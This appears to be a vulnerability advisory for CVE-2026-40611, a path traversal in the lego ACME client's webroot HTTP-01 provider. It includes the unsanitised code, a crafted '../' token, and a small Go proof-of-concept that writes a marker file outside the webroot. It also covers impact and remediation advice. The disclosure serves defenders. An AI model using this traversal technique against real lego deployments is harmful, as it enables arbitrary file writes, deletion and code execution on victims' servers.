lego (ACME client) CVE-2026-40611
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Malicious ACME server needs no victim privileges (PR:N) but the user must run lego against it (UI:R); arbitrary file write yields full C/I/A impact within the lego process's unchanged scope (S:U).
Primary rating from Vendor (https://github.com/go-acme/lego).
CVSS VectorVendor: https://github.com/go-acme/lego
Lifecycle Timeline
4DescriptionCVE.org
Summary
The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process.
Details
The ChallengePath() function in challenge/http01/http_challenge.go:26-27 constructs the challenge file path by directly concatenating the ACME token without any validation:
func ChallengePath(token string) string {
return "/.well-known/acme-challenge/" + token
}The webroot provider in providers/http/webroot/webroot.go:31 then joins this with the configured webroot directory and writes the key authorization content to the resulting path:
challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet ([A-Za-z0-9_-]), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as ../../../../../../tmp/evil, filepath.Join() resolves the .. components, producing a path outside the webroot directory.
The same vulnerability exists in the CleanUp() function at providers/http/webroot/webroot.go:48, which deletes the challenge file using the same unsanitized path:
err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))This additionally enables arbitrary file deletion.
PoC
In a real attack scenario, the victim uses --server to point lego at a malicious ACME server, combined with --http.webroot:
lego --server https://malicious-acme.example.com \
--http --http.webroot /var/www/html \
--email user@example.com \
--domains example.com \
runThe malicious server returns a challenge token containing path traversal sequences ../../../../../../tmp/pwned. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.
The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:
package main
import (
"fmt"
"os"
"github.com/go-acme/lego/v4/providers/http/webroot"
)
func main() {
webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
defer os.RemoveAll(webrootDir)
provider, _ := webroot.NewHTTPProvider(webrootDir)
token := "../../../../../../../../../../tmp/pwned"
provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")
data, err := os.ReadFile("/tmp/pwned")
if err == nil {
fmt.Println("[+] VULNERABILITY CONFIRMED")
fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
fmt.Printf("[+] Content: %s\n", data)
}
}go build -o exploit ./exploit.go && ./exploitExpected output:
[+] VULNERABILITY CONFIRMED
[+] File written outside webroot: /tmp/pwned
[+] Content: EXPLOITED-BY-PATH-TRAVERSALImpact
This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.
A malicious ACME server can:
- Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.
- Destroy data by overwriting configuration files, TLS certificates, or application state.
- Escalate privileges if lego runs as root, granting unrestricted filesystem write access.
- Delete arbitrary files via the
CleanUp()code path using the same unsanitized token.
AnalysisAI
Arbitrary file write and deletion in the go-acme/lego ACME client (versions before 4.34.0) allows a malicious or compromised ACME server to escape the configured webroot via path traversal. When lego solves an HTTP-01 challenge with the webroot provider, it writes the key authorization to a path built by directly concatenating the server-supplied challenge token; a token containing '../' sequences (e.g. '../../../../tmp/pwned') redirects the write - and the corresponding CleanUp() delete - to any location writable by the lego process, up to remote code execution if lego runs as root. Publicly available exploit code exists (SSVC 'poc'), but the EPSS score is very low (0.05%, 14th percentile), consistent with the requirement that the victim first point lego at an attacker-controlled ACME server.
Technical ContextAI
lego is a widely used Go ACME/Let's Encrypt client library and CLI. The HTTP-01 challenge flow requires the client to place a token-named file under /.well-known/acme-challenge/ so the CA can verify domain control. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory): ChallengePath() in challenge/http01/http_challenge.go builds '/.well-known/acme-challenge/' + token with no validation, and the webroot provider (providers/http/webroot/webroot.go) passes the result through filepath.Join(w.path, ...). Because filepath.Join resolves '..' components, a token like '../../../../tmp/evil' collapses the join to an absolute path outside the webroot, where os.MkdirAll + os.WriteFile create attacker-controlled content and os.Remove deletes attacker-chosen files. RFC 8555 Section 8.3 restricts ACME tokens to the base64url alphabet [A-Za-z0-9_-], which would prevent traversal, but lego never enforces this constraint - it implicitly trusts the ACME server, which is precisely the trust boundary the attacker crosses.
RemediationAI
Vendor-released patch: upgrade to lego 4.34.0 or later, which is the fixed release for the v4 module line; rebuild and redeploy any downstream binaries that vendor lego. No fixed release is identified for the legacy v3 (<= 3.9.0) or v2/original (<= 2.7.2) module lines, so migrate those to the v4 4.34.0+ line. Distribution users should apply their vendor update, e.g. Red Hat RHSA-2026:21772 (https://access.redhat.com/errata/RHSA-2026:21772). If you cannot patch immediately, the highest-value compensating control is to only ever point lego at a trusted ACME server - verify the --server value and treat any internal/self-hosted ACME endpoint as a trust boundary (protect and monitor it against compromise); this fully removes the attack when honored but relies on operational discipline. Additionally, run lego as a low-privilege, non-root user with a filesystem restricted to the webroot (dedicated account, no write access to cron, systemd unit, or shell-profile directories), which limits blast radius but does not stop writes within reachable paths. Consider the DNS-01 solver instead of webroot where feasible to avoid the vulnerable code path entirely, at the cost of DNS provider configuration. Reference the advisory at https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8.
Same weakness CWE-22 – Path Traversal
View allVendor StatusVendor
SUSE
Severity: HighShare
External POC / Exploit Code
Leaving vuln.today
GHSA-qqx8-2xmm-jrv8